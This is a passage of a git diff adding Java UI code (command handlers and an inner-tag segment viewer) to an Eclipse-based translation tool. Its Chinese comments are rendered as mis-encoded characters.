org.eclipse.core.resources.IProject; +import org.eclipse.core.runtime.CoreException; +import org.eclipse.core.runtime.IConfigurationElement; +import org.eclipse.core.runtime.ISafeRunnable; +import org.eclipse.core.runtime.Platform; +import org.eclipse.core.runtime.SafeRunner; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.preference.IPreferenceNode; +import org.eclipse.jface.preference.PreferenceManager; +import org.eclipse.jface.preference.PreferenceNode; +import org.eclipse.jface.viewers.ISelection; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.handlers.HandlerUtil; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 项目设置Handler + * @author Jason + * @version + * @since JDK1.6 + */ +public class ProjectSettingHandler extends AbstractHandler { + + public static final Logger logger = LoggerFactory.getLogger(ProjectSettingHandler.class); + private List extensionPages = new ArrayList(); + + /** + * (non-Javadoc) + * @see org.eclipse.core.commands.IHandler#execute(org.eclipse.core.commands.ExecutionEvent) + */ + public Object execute(ExecutionEvent event) throws ExecutionException { + IWorkbenchWindow window = HandlerUtil.getActiveWorkbenchWindowChecked(event); + String tshelp = System.getProperties().getProperty("TSHelp"); + String tsstate = System.getProperties().getProperty("TSState"); + if (tshelp == null || !"true".equals(tshelp) || tsstate == null || !"true".equals(tsstate)) { + logger.error("Exception:key hs008 is lost.(Can't find the key)"); + System.exit(0); + } + runWizardPageExtension(); + + ISelection curSelection = HandlerUtil.getCurrentSelection(event); + if (curSelection != null && !curSelection.isEmpty() && curSelection instanceof IStructuredSelection) { + IStructuredSelection selection = (IStructuredSelection) curSelection; + Object obj = selection.getFirstElement(); + if (obj instanceof IProject) { + IProject project = (IProject) obj; + ProjectConfiger cfg = ProjectConfigerFactory.getProjectConfiger(project); + final ProjectInfoBean cfgBean = cfg.getCurrentProjectConfig(); + + cfgBean.setProjectName(project.getName()); + ProjectSettingBaseInfoPage infoPage = new ProjectSettingBaseInfoPage(cfgBean); + ProjectSettingLanguagePage langPag = new ProjectSettingLanguagePage(cfgBean); + + final PreferenceManager mgr = new PreferenceManager(); + IPreferenceNode infoNode = new PreferenceNode("infoPage", infoPage); + IPreferenceNode langNode = new PreferenceNode("langPag", langPag); + + mgr.addToRoot(infoNode); + mgr.addTo("infoPage", langNode); + + AbstractProjectSettingPage pageTm = getPageByType("TM"); + if (pageTm != null) { + pageTm.setProjectInfoBean(cfgBean); + IPreferenceNode extensionNode = new PreferenceNode("tmInfo", pageTm); + mgr.addTo("infoPage", extensionNode); + } + + AbstractProjectSettingPage pageTb = getPageByType("TB"); + if (pageTb != null) { + pageTb.setProjectInfoBean(cfgBean); + IPreferenceNode extensionNode = new PreferenceNode("tbInfo", pageTb); + mgr.addTo("infoPage", extensionNode); + } + + for (AbstractProjectSettingPage page : extensionPages) { + page.setProjectInfoBean(cfgBean); + IPreferenceNode extensionNode = new PreferenceNode("tbInfo", page); + mgr.addTo("infoPage", extensionNode); + } + + ProjectSettingDialog dialog = new ProjectSettingDialog(window.getShell(), mgr); + dialog.create(); + dialog.setMessage(infoPage.getTitle()); + if (dialog.open() == 0) { + cfg.updateProjectConfig(cfgBean); + } + + } else { + MessageDialog.openError(window.getShell(), + Messages.getString("handlers.ProjectSettingHandler.msgTitle"), + Messages.getString("handlers.ProjectSettingHandler.msg1")); + return null; + } + } else { + MessageDialog.openError(window.getShell(), Messages.getString("handlers.ProjectSettingHandler.msgTitle"), + Messages.getString("handlers.ProjectSettingHandler.msg1")); + return null; + } + return null; + } + + /** + * 加载扩展å‘导页 ; + */ + private void runWizardPageExtension() { + IConfigurationElement[] config = Platform.getExtensionRegistry().getConfigurationElementsFor( + "net.heartsome.cat.ts.ui.extensionpoint.projectsetting"); + try { + // 修改术语库é‡å¤ + extensionPages.clear(); + for (IConfigurationElement e : config) { + final Object o = e.createExecutableExtension("class"); + if (o instanceof AbstractProjectSettingPage) { + ISafeRunnable runnable = new ISafeRunnable() { + + public void handleException(Throwable exception) { + logger.error(Messages.getString("handlers.ProjectSettingHandler.logger1"), exception); + } + + public void run() throws Exception { + extensionPages.add((AbstractProjectSettingPage) o); + } + }; + SafeRunner.run(runnable); + } + } + } catch (CoreException ex) { + logger.error(Messages.getString("handlers.ProjectSettingHandler.logger1"), ex); + } + } + + private AbstractProjectSettingPage getPageByType(String type) { + for (AbstractProjectSettingPage page : extensionPages) { + if (page.getPageType().equals(type)) { + extensionPages.remove(page); + return page; + } + } + return null; + } +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/handlers/ResetPerspectiveHandler.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/handlers/ResetPerspectiveHandler.java new file mode 100644 index 0000000..07ced8b --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/handlers/ResetPerspectiveHandler.java @@ -0,0 +1,18 @@ +package net.heartsome.cat.ts.ui.handlers; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.actions.ActionFactory; +import org.eclipse.ui.actions.ActionFactory.IWorkbenchAction; + +public class ResetPerspectiveHandler extends AbstractHandler{ + public Object execute(ExecutionEvent event) throws ExecutionException { + IWorkbenchWindow window = PlatformUI.getWorkbench().getActiveWorkbenchWindow(); + IWorkbenchAction resetPerspectiveAction = ActionFactory.RESET_PERSPECTIVE.create(window); + resetPerspectiveAction.run(); + return null; + } +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/handlers/SavePerspectiveHandler.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/handlers/SavePerspectiveHandler.java new file mode 100644 index 0000000..85534f5 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/handlers/SavePerspectiveHandler.java @@ -0,0 +1,21 @@ +package net.heartsome.cat.ts.ui.handlers; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.actions.ActionFactory; +import org.eclipse.ui.actions.ActionFactory.IWorkbenchAction; + +public class SavePerspectiveHandler extends AbstractHandler { + + public Object execute(ExecutionEvent event) throws ExecutionException { + IWorkbenchWindow window = PlatformUI.getWorkbench().getActiveWorkbenchWindow(); + IWorkbenchAction savePerspectiveAction = ActionFactory.SAVE_PERSPECTIVE.create(window); + savePerspectiveAction.run(); + + return null; + } + +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/handlers/ShowHidenNonPrintingCharacterHandler.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/handlers/ShowHidenNonPrintingCharacterHandler.java new file mode 100644 index 0000000..9d16732 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/handlers/ShowHidenNonPrintingCharacterHandler.java @@ -0,0 +1,63 @@ +/** + * ShowHidenNonPrintingCharacter.java + * + * Version information : + * + * Date:2013-4-19 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.ts.ui.handlers; + +import java.util.Map; + +import net.heartsome.cat.ts.ui.Activator; +import net.heartsome.cat.ts.ui.editors.IXliffEditor; +import net.heartsome.cat.ts.ui.preferencepage.IPreferenceConstants; + +import org.eclipse.core.commands.AbstractHandler; +import org.eclipse.core.commands.ExecutionEvent; +import org.eclipse.core.commands.ExecutionException; +import org.eclipse.ui.IEditorPart; +import org.eclipse.ui.IWorkbenchPage; +import org.eclipse.ui.IWorkbenchWindow; +import org.eclipse.ui.PlatformUI; +import org.eclipse.ui.commands.IElementUpdater; +import org.eclipse.ui.menus.UIElement; + +/** + * @author Jason + * @version + * @since JDK1.6 + */ +public class ShowHidenNonPrintingCharacterHandler extends AbstractHandler implements IElementUpdater{ + + boolean isSelected = Activator.getDefault().getPreferenceStore().getBoolean(IPreferenceConstants.XLIFF_EDITOR_SHOWHIDEN_NONPRINTCHARACTER); + public Object execute(ExecutionEvent event) throws ExecutionException { + isSelected = !isSelected; + try { + IWorkbenchWindow window = PlatformUI.getWorkbench().getActiveWorkbenchWindow(); + if (window != null) { + IWorkbenchPage page = window.getActivePage(); + if (page != null) { + IEditorPart editor = page.getActiveEditor(); + if (editor != null && editor instanceof IXliffEditor) { + ((IXliffEditor) editor).refreshWithNonprinttingCharacter(isSelected); + } + } + } + } catch (NullPointerException e) { + e.printStackTrace(); + } + + return null; + } + + public void updateElement(UIElement element, @SuppressWarnings("rawtypes") Map parameters) { + element.setChecked(isSelected); + } + +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/innertag/ISegmentViewer.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/innertag/ISegmentViewer.java new file mode 100644 index 0000000..eebba99 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/innertag/ISegmentViewer.java @@ -0,0 +1,70 @@ +package net.heartsome.cat.ts.ui.innertag; + +import java.util.List; + +import net.heartsome.cat.common.ui.innertag.InnerTag; + +import org.eclipse.jface.text.ITextViewer; + +public interface ISegmentViewer extends ITextViewer { + + /** + * 得到内部标记 + * @return ; + */ + List getInnerTagCacheList(); + + /** + * 得到文本内容 + * @return ; + */ + String getText(); + + /** + * 得到纯文本内容 + * @return ; + */ + String getPureText(); + + /** + * 设置æºæ–‡æœ¬ + * @param source + * æºæ–‡æœ¬; + */ + void setSource(String source); + + /** + * 设置文本内容 + * @param text + * 原始内容。如果此内容为目标文本,务必在此方法å‰è°ƒç”¨ {@link #setSource(String)} 方法设置æºæ–‡æœ¬ï¼Œä»¥ä¾¿æ­£ç¡®è§£æžæ ‡è®°ç´¢å¼•ã€æ ‡è¯†å‡ºé”™è¯¯æ ‡è®°; + */ + void setText(String text); + + /** + * 得到 Source 的内部标记中最大的索引。 + * @return Source 的内部标记中最大的索引; + */ + int getSourceMaxTagIndex(); + + /** + * 得到错误标记的起始ä½ç½®ã€‚ + * @return ; + */ + int getErrorTagStart(); + + /** + * 得到当å‰æ˜¾ç¤ºçš„所有内部标记控件。 + * @return ; + */ + List getCurrentInnerTags(); + + /** + * æ’入指定索引的标记 + * @param tagIndex + * è¦æ’入标记的索引 + * @param offset + * æ’å…¥ä½ç½®; + */ + void insertInnerTag(int tagIndex, int offset); + +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/innertag/InnerTagUtil.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/innertag/InnerTagUtil.java new file mode 100644 index 0000000..71e522f --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/innertag/InnerTagUtil.java @@ -0,0 +1,101 @@ +package net.heartsome.cat.ts.ui.innertag; + +import java.util.List; + +import net.heartsome.cat.common.innertag.InnerTagBean; +import net.heartsome.cat.common.innertag.TagStyle; +import net.heartsome.cat.common.innertag.factory.PlaceHolderEditModeBuilder; +import net.heartsome.cat.common.ui.innertag.InnerTag; + +import org.eclipse.swt.SWT; +import org.eclipse.swt.widgets.Composite; + +/** + * 内部标记工具类。å ä½ç¬¦ä½¿ç”¨ Unicode ç ï¼ŒèŒƒå›´ä¸º {@link #MIN} 到 {@link #MAX}。 + * @author weachy + * @version + * @since JDK1.5 + */ +public class InnerTagUtil { + + /** + * å ä½ç¬¦åˆ›å»ºè€… + */ + private static final PlaceHolderEditModeBuilder PLACE_HOLDER_BUILDER = new PlaceHolderEditModeBuilder(); + + /** + * æ ¹æ®å ä½ç¬¦å¾—到内部标记控件 + * @param innerTags + * å†…éƒ¨æ ‡è®°æŽ§ä»¶é›†åˆ + * @param placeHolder + * å ä½ç¬¦ + * @return 内部标记控件; + */ + public static InnerTag getInnerTag(List innerTags, String placeHolder) { + int index = PLACE_HOLDER_BUILDER.getIndex(null, placeHolder); + if (index > -1 && index < innerTags.size()) { + return innerTags.get(index); + } + return null; + } + + /** + * æ ¹æ®å†…部标记实体得到å ä½ç¬¦ + * @param innerTags + * å†…éƒ¨æ ‡è®°æŽ§ä»¶é›†åˆ + * @param innerTagBean + * 内部标记实体 + * @return å ä½ç¬¦; + */ + public static String getPlaceHolder(List innerTags, InnerTagBean innerTagBean) { + if (innerTagBean == null || innerTags == null || innerTags.size() == 0) { + return null; + } + for (int i = 0; i < innerTags.size(); i++) { + InnerTagBean bean = innerTags.get(i).getInnerTagBean(); + if (innerTagBean.equals(bean)) { + return PLACE_HOLDER_BUILDER.getPlaceHolder(null, i); + } + } + return null; + } + + /** Display 对象 */ + // private static Display display = Display.getDefault(); + // /** 错误标记边框颜色 */ + // private static Color wrongTagBorderColor = ColorConfigBean.getInstance().getWrongTagColor(); + // /** 边框颜色 */ + // private static Color borderColor = new Color(display, 0, 255, 255); + // /** 文本å‰æ™¯è‰² */ + // private static Color textFgColor = new Color(display, 0, 104, 139); + // /** 文本背景色 */ + // private static Color textBgColor = new Color(display, 0, 205, 205); + // /** 索引å‰æ™¯è‰² */ + // private static Color inxFgColor = borderColor; + // /** 索引背景色 */ + // private static Color inxBgColor = new Color(display, 0, 139, 139); + + /** + * 创建内部标记控件 + * @param parent + * 父容器 + * @param innerTagBean + * 内部标记实体 + * @return 内部标记控件; + */ + public static InnerTag createInnerTagControl(Composite parent, InnerTagBean innerTagBean, TagStyle tagStyle) { + final InnerTag innerTag = new InnerTag(parent, SWT.NONE, innerTagBean, tagStyle); + //--- 此部分é…置已ç»ç§»åŠ¨åˆ° InnertagRender 中 + // /** 错误标记边框颜色 */ + // ColorConfigBean cbean = ColorConfigBean.getInstance(); + // Color wrongTagBorderColor = cbean.getWrongTagColor(); + // Color tmpBorderColor = innerTagBean.isWrongTag() ? wrongTagBorderColor : cbean.getTagBgColor(); + // Color bgColor = innerTagBean.isWrongTag() ? wrongTagBorderColor : cbean.getTagBgColor(); + // innerTag.initColor(cbean.getTagBgColor(), cbean.getTagFgColor(), cbean.getTagFgColor(), bgColor, + // tmpBorderColor); + // innerTag.setFont(net.heartsome.cat.common.ui.utils.InnerTagUtil.tagFont); + innerTag.pack(); + + return innerTag; + } +} diff --git a/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/innertag/SegmentViewer.java b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/innertag/SegmentViewer.java new file mode 100644 index 0000000..d1efde3 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui/src/net/heartsome/cat/ts/ui/innertag/SegmentViewer.java @@ -0,0 +1,682 @@ +package net.heartsome.cat.ts.ui.innertag; + +import static net.heartsome.cat.common.innertag.factory.PlaceHolderEditModeBuilder.PATTERN; +import static net.heartsome.cat.ts.ui.Constants.SEGMENT_LINE_SPACING; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; +import java.util.regex.Matcher; + +import net.heartsome.cat.common.innertag.InnerTagBean; +import net.heartsome.cat.common.innertag.TagStyle; +import net.heartsome.cat.common.innertag.TagType; +import net.heartsome.cat.common.innertag.factory.IInnerTagFactory; +import net.heartsome.cat.common.innertag.factory.PlaceHolderEditModeBuilder; +import net.heartsome.cat.common.innertag.factory.XliffInnerTagFactory; +import net.heartsome.cat.common.ui.innertag.InnerTag; +import net.heartsome.cat.ts.core.Utils; +import net.heartsome.cat.ts.ui.Constants; +import net.heartsome.cat.ts.ui.bean.XliffEditorParameter; +import net.heartsome.cat.ts.ui.resource.Messages; + +import org.eclipse.jface.text.BadLocationException; +import org.eclipse.jface.text.Document; +import org.eclipse.jface.text.DocumentEvent; +import org.eclipse.jface.text.IDocumentListener; +import org.eclipse.jface.text.IUndoManager; +import org.eclipse.jface.text.TextViewer; +import org.eclipse.jface.text.TextViewerUndoManager; +import org.eclipse.swt.SWT; +import org.eclipse.swt.custom.CaretEvent; +import org.eclipse.swt.custom.CaretListener; +import org.eclipse.swt.custom.PaintObjectEvent; +import org.eclipse.swt.custom.PaintObjectListener; +import org.eclipse.swt.custom.StyleRange; +import org.eclipse.swt.custom.StyledText; +import org.eclipse.swt.events.MouseEvent; +import org.eclipse.swt.events.MouseMoveListener; +import org.eclipse.swt.events.VerifyEvent; +import org.eclipse.swt.events.VerifyListener; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; + +public class SegmentViewer extends TextViewer implements ISegmentViewer { + + private PlaceHolderEditModeBuilder placeHolderBuilder = new PlaceHolderEditModeBuilder(); + + private ArrayList innerTagCacheList = new ArrayList(); + + private String source; + + private int errorTagStart; + + private int sourceMaxTagIndex; + + private TagStyle tagStyle; + + public SegmentViewer(Composite parent, int styles, TagStyle tagStyle) { + super(parent, styles); + this.tagStyle = tagStyle; + + this.setDocument(new Document()); // 为TextViewer设置一个Document + + initListeners(); // åˆå§‹åŒ–监å¬å™¨ + } + + private void initListeners() { + StyledText styledText = getTextWidget(); + getDocument().addDocumentListener(new IDocumentListener() { + + public void documentChanged(DocumentEvent e) { + + } + + public void documentAboutToBeChanged(DocumentEvent event) { + String method = belongToUndoOrRedo(); + if (event.getLength() > 0 && method != null) { + try { + String text = event.getDocument().get(event.getOffset(), event.getLength()); + Matcher matcher = PATTERN.matcher(text); + List cache = new ArrayList(); + while (matcher.find()) { + String placeHolder = matcher.group(); + InnerTag innerTag = InnerTagUtil.getInnerTag(getInnerTagCacheList(), placeHolder); + if (innerTag != null && innerTag.isVisible()) { + innerTag.setVisible(false); + if ("undo".equals(method) && innerTag.getInnerTagBean().isWrongTag()) { + cache.add(innerTag); + } + } + } + for (InnerTag t : cache) { + innerTagCacheList.remove(t); + t.dispose(); + } + } catch (BadLocationException e) { + e.printStackTrace(); + } + } + } + + /** + * 是å¦å±žäºŽæ’¤é”€æˆ–者é‡åšçš„æ“作。 + * @return ; + */ + private String belongToUndoOrRedo() { + IUndoManager undoManager = getUndoManager(); + if (undoManager != null) { + StackTraceElement[] stackTraceElements = new Throwable().getStackTrace(); + for (StackTraceElement stackTraceElement : stackTraceElements) { + if (undoManager.getClass().getName().equals(stackTraceElement.getClassName())) { + String methodName = stackTraceElement.getMethodName(); + if ("undo".equals(methodName) || "redo".equals(methodName)) { + return methodName; + } + } + } + } + return null; + } + }); + styledText.addCaretListener(new CaretListener() { + + public void caretMoved(CaretEvent e) { + int offset = e.caretOffset; + StyledText styledText = (StyledText) e.widget; + if (offset == 0 || styledText.getText().length() <= offset) { + return; + } + char text = styledText.getText().charAt(offset - 1); + if (text == '\u21B2') { + styledText.setCaretOffset(offset - 1); + } + } + }); + styledText.addVerifyListener(new VerifyListener() { + + public void verifyText(final VerifyEvent e) { + String t = e.text; + if (e.start == e.end) { // 添加内容时,忽略 + if (XliffEditorParameter.getInstance().isShowNonpirnttingCharacter()) { + t = t.replace('\t', Constants.TAB_CHARACTER).replace(' ', Constants.SPACE_CHARACTER); + t = t.replace(System.getProperty("line.separator"), "\n"); + StringBuffer bf = new StringBuffer(t); + int i = bf.indexOf("\n"); + if (i != -1) { + if (i == 0) { + bf.insert(i, Constants.LINE_SEPARATOR_CHARACTER); + } else if (i != 0 && bf.charAt(i - 1) != Constants.LINE_SEPARATOR_CHARACTER) { + bf.insert(i, Constants.LINE_SEPARATOR_CHARACTER); + } + i = bf.indexOf("\n", i + 1); + } + e.text = bf.toString(); + } + return; + } + final StyledText styledText = (StyledText) e.widget; + final String text = styledText.getText(e.start, e.end - 1); + final Matcher matcher = PATTERN.matcher(text); + if (matcher.find()) { // 被删除的部分中存在标记的的情况,进行特殊处ç†ã€‚ + if (isSource()) { + e.doit = false; + setToolTipMessage(Messages.getString("innertag.SegmentViewer.msg1")); + return; + } + matcher.reset(); + styledText.getDisplay().syncExec(new Runnable() { + public void run() { + deleteInnerTagInPairs(e, matcher); + } + }); + } + if (XliffEditorParameter.getInstance().isShowNonpirnttingCharacter()) { + styledText.getDisplay().syncExec(new Runnable() { + public void run() { + if (text.length() == 1 && text.equals("\n")) { + char c = styledText.getText().charAt(e.start - 1); + if (c == Constants.LINE_SEPARATOR_CHARACTER) { + styledText.replaceTextRange(e.start - 1, 2, ""); + e.doit = false; + } + } + if (text.length() == 1 && text.indexOf(Constants.LINE_SEPARATOR_CHARACTER) != -1) { + char c = styledText.getText().charAt(e.start + 1); + if (c == '\n') { + styledText.replaceTextRange(e.start, 2, ""); + e.doit = false; + } + } + } + }); + } + } + + /** + * æˆå¯¹åˆ é™¤å†…部标记 + */ + private void deleteInnerTagInPairs(final VerifyEvent e, Matcher matcher) { + StyledText styledText = (StyledText) e.widget; + ArrayList tagIndexes = new ArrayList(); // 记录被删除的标记的索引。 + while (matcher.find()) { + String placeHolder = matcher.group(); + InnerTag innerTag = InnerTagUtil.getInnerTag(SegmentViewer.this.getInnerTagCacheList(), placeHolder); + if (innerTag != null && innerTag.isVisible()) { + innerTag.setVisible(false); + + // ä¿å­˜æˆå¯¹æ ‡è®°ä¸­æœªå®Œå…¨åˆ é™¤çš„标记索引 + TagType tagType = innerTag.getInnerTagBean().getType(); + if (tagType == TagType.START || tagType == TagType.END) { // 处ç†æˆå¯¹æ ‡è®°çš„æˆå¯¹åˆ é™¤ + Integer tagIndex = Integer.valueOf(innerTag.getInnerTagBean().getIndex()); // 标记索引 + if (tagIndexes.contains(tagIndex)) { // 如果已ç»åŒ…å«æ­¤ç´¢å¼•ï¼Œè¯´æ˜Žæˆå¯¹æ ‡è®°çš„2个部分都已ç»åˆ é™¤ã€‚ + tagIndexes.remove(tagIndex); + } else { // 如果未包å«æ­¤ç´¢å¼•ï¼Œåˆ™è¯´æ˜Žåªåˆ é™¤äº†ä¸€ä¸ªéƒ¨åˆ†ï¼ˆå¼€å§‹æˆ–结æŸï¼‰çš„标记。 + tagIndexes.add(tagIndex); + } + } + } + } + + if (!tagIndexes.isEmpty()) { // 存在未删除的情况。 + getUndoManager().beginCompoundChange(); + + e.doit = false; // 上一步已ç»ä¿®æ”¹ï¼Œå–消修改æ“作。 + styledText.getContent().replaceTextRange(e.start, e.end - e.start, e.text); // 替æ¢æ”¹åŠ¨å†…容 + + for (int i = 0; i < errorTagStart; i++) { // 删除æˆå¯¹æ ‡è®°ä¸­æœªè¢«åˆ é™¤çš„部分。 + InnerTag innerTag = innerTagCacheList.get(i); + if (innerTag != null && innerTag.isVisible()) { + if (tagIndexes.contains(innerTag.getInnerTagBean().getIndex())) { + innerTag.setVisible(false); + String placeHolder = placeHolderBuilder.getPlaceHolder(null, i); + int start = -1; + if ((start = styledText.getText().indexOf(placeHolder)) != -1) { + styledText.getContent().replaceTextRange(start, placeHolder.length(), ""); + } + + tagIndexes.remove(Integer.valueOf(innerTag.getInnerTagBean().getIndex())); + if (tagIndexes.isEmpty()) { + break; + } + } + } + } + getUndoManager().endCompoundChange(); + + /** + * 通知更新主èœå•ï¼ˆactionBar)中“撤销é‡åšâ€ç­‰èœå•é¡¹çš„状æ€ï¼Œå‚è§ + * net.heartsome.cat.ts.ui.xliffeditor.nattable.editor.XLIFFEditorActionHandler + */ + styledText.notifyListeners(SWT.Selection, null); + } + } + }); + + /** + * é‡ç»˜æ—¶ï¼Œå°†å½“å‰æ–‡æœ¬æ®µä¸­å­˜åœ¨çš„å†…éƒ¨æ ‡è®°å¯¹åº”çš„æŽ§ä»¶æ˜¾ç¤ºå‡ºæ¥ + */ + styledText.addPaintObjectListener(new PaintObjectListener() { + public void paintObject(PaintObjectEvent event) { + StyleRange styleRange = event.style; + if (styleRange != null) { + String text = ((StyledText) event.widget).getText(); + int end = styleRange.start + styleRange.length; + if (text.length() < end) { + return; + } + String styledString = text.substring(styleRange.start, end); + Matcher matcher = PATTERN.matcher(styledString); + if (matcher.matches()) { + InnerTag tag = InnerTagUtil.getInnerTag(SegmentViewer.this.getInnerTagCacheList(), styledString); + if (tag != null) { + if (!tag.isVisible()) { + tag.setVisible(true); + } + + // int y = event.y + event.ascent - styleRange.metrics.ascent; + int lineHeight = getTextWidget().getLineHeight(); + // innerTag.setLocation(event.x + SEGMENT_LINE_SPACING / 2, event.y + SEGMENT_LINE_SPACING / + // 2 /* è¡Œè·çš„ä¸€åŠ */); + int y = event.y + lineHeight / 2 - tag.getBounds().height / 2; + tag.setLocation(event.x + SEGMENT_LINE_SPACING, y + SEGMENT_LINE_SPACING); + } + } + } + } + }); + + /** + * 鼠标移动时,清除错误消æ¯ã€‚ + */ + styledText.addMouseMoveListener(new MouseMoveListener() { + public void mouseMove(MouseEvent e) { + if (getTextWidget().getToolTipText() != null && getTextWidget().getToolTipText().length() > 0) { + setToolTipMessage(""); + } + } + }); + } + + /** + * 得到内部标记缓存集åˆã€‚æ­¤ List ä¸å¯æŽ’åºï¼ŒæŽ’åºåŽä¼šå½±å“显示结果。 + * @see net.heartsome.cat.ts.ui.innertag.ISegmentViewer#getInnerTagCacheList() + */ + public List getInnerTagCacheList() { + return innerTagCacheList; + } + + /** + * @see net.heartsome.cat.ts.ui.innertag.ISegmentViewer#getPureText() + */ + public String getPureText() { + if (getTextWidget() == null) { + return ""; + } + String text = getTextWidget().getText(); + return PATTERN.matcher(text).replaceAll(""); + } + + /** + * @see net.heartsome.cat.ts.ui.innertag.ISegmentViewer#getText() + */ + public String getText() { + if (getTextWidget() == null) { + return ""; + } + String text = getTextWidget().getText(); + if (text == null) { + return ""; + } + return convertDisplayTextToOriginalText(cleanRegularString(text)); + } + + /** + * 转æ¢æ˜¾ç¤ºæ–‡æœ¬ä¸ºåŽŸå§‹æ–‡æœ¬ã€‚ + * @param displayText + * 显示文本 + * @return XML 中的原始文本; + */ + public String convertDisplayTextToOriginalText(String displayText) { + if (displayText == null || displayText.length() == 0) { + return ""; + } + Matcher matcher = PATTERN.matcher(displayText); + int offset = 0; + StringBuffer sb = new StringBuffer(displayText); + while (matcher.find()) { + String placeHolder = matcher.group(); + InnerTag innerTag = InnerTagUtil.getInnerTag(innerTagCacheList, placeHolder); + if (innerTag != null) { + String tagContent = innerTag.getInnerTagBean().getContent(); + // tagContent = tagContent.replaceAll("&", "&"); + int start = matcher.start() + offset; + int end = matcher.end() + offset; + sb.replace(start, end, tagContent); + offset += tagContent.length() - 1; + } + } + return sb.toString(); + }; + + /** + * ç»™TextViewer设置UndoManager + * @param textViewer + * ; + */ + public void initUndoManager(int undoLevel) { + // remembers edit commands + final TextViewerUndoManager undoManager = new TextViewerUndoManager(undoLevel); + // add listeners + undoManager.connect(this); + this.setUndoManager(undoManager); + } + + /** + * @see net.heartsome.cat.ts.ui.innertag.ISegmentViewer#setSource(java.lang.String) + */ + public void setSource(String source) { + this.source = (source != null ? source : ""); + } + + private boolean isSource() { + return source == null; + } + + /** + * @see net.heartsome.cat.ts.ui.innertag.ISegmentViewer#setText(java.lang.String) + */ + public void setText(String text) { + reset(); // é‡ç½®ç¼“存的标记。 + + if (isSource()) { // 当å‰æ˜¯æºæ–‡æœ¬ + IInnerTagFactory innerTagFactory = new XliffInnerTagFactory(text, placeHolderBuilder); + List innerTagBeans = innerTagFactory.getInnerTagBeans(); + for (InnerTagBean innerTagBean : innerTagBeans) { + InnerTag innerTag = InnerTagUtil.createInnerTagControl(getTextWidget(), innerTagBean, tagStyle); + innerTag.setVisible(false); + innerTagCacheList.add(innerTag); + + sourceMaxTagIndex = Math.max(sourceMaxTagIndex, innerTagBean.getIndex()); + } + errorTagStart = innerTagCacheList.size(); // 记录错误标记的起始,source 中所有标记都ä¸æ˜¯é”™è¯¯æ ‡è®°ã€‚ + + text = innerTagFactory.getText(); + } else { // 当å‰æ˜¯ç›®æ ‡æ–‡æœ¬ + XliffInnerTagFactory innerTagFactory = new XliffInnerTagFactory(source, placeHolderBuilder); + // source 中包å«çš„内部标记。 + List sourceInnerTagBeans = innerTagFactory.getInnerTagBeans(); + errorTagStart = sourceInnerTagBeans.size(); // 记录错误标记的起始,source 中所有标记都ä¸æ˜¯é”™è¯¯æ ‡è®°ã€‚ + // 如果当å‰æ˜¯ Target,就先记录 Source 中的最大索引。 + for (InnerTagBean innerTagBean : sourceInnerTagBeans) { // 记录source中内部标记的最大标记索引。 + sourceMaxTagIndex = Math.max(sourceMaxTagIndex, innerTagBean.getIndex()); + } + + text = innerTagFactory.parseInnerTag(text, true); + List innerTagBeans = innerTagFactory.getInnerTagBeans(); + for (InnerTagBean innerTagBean : innerTagBeans) { + InnerTag innerTag = InnerTagUtil.createInnerTagControl(getTextWidget(), innerTagBean, tagStyle); + innerTag.setVisible(false); + innerTagCacheList.add(innerTag); + } + } + + getTextWidget().setText(resetRegularString(text)); + } + + private String cleanRegularString(String input) { + input = input.replaceAll("&", "&"); 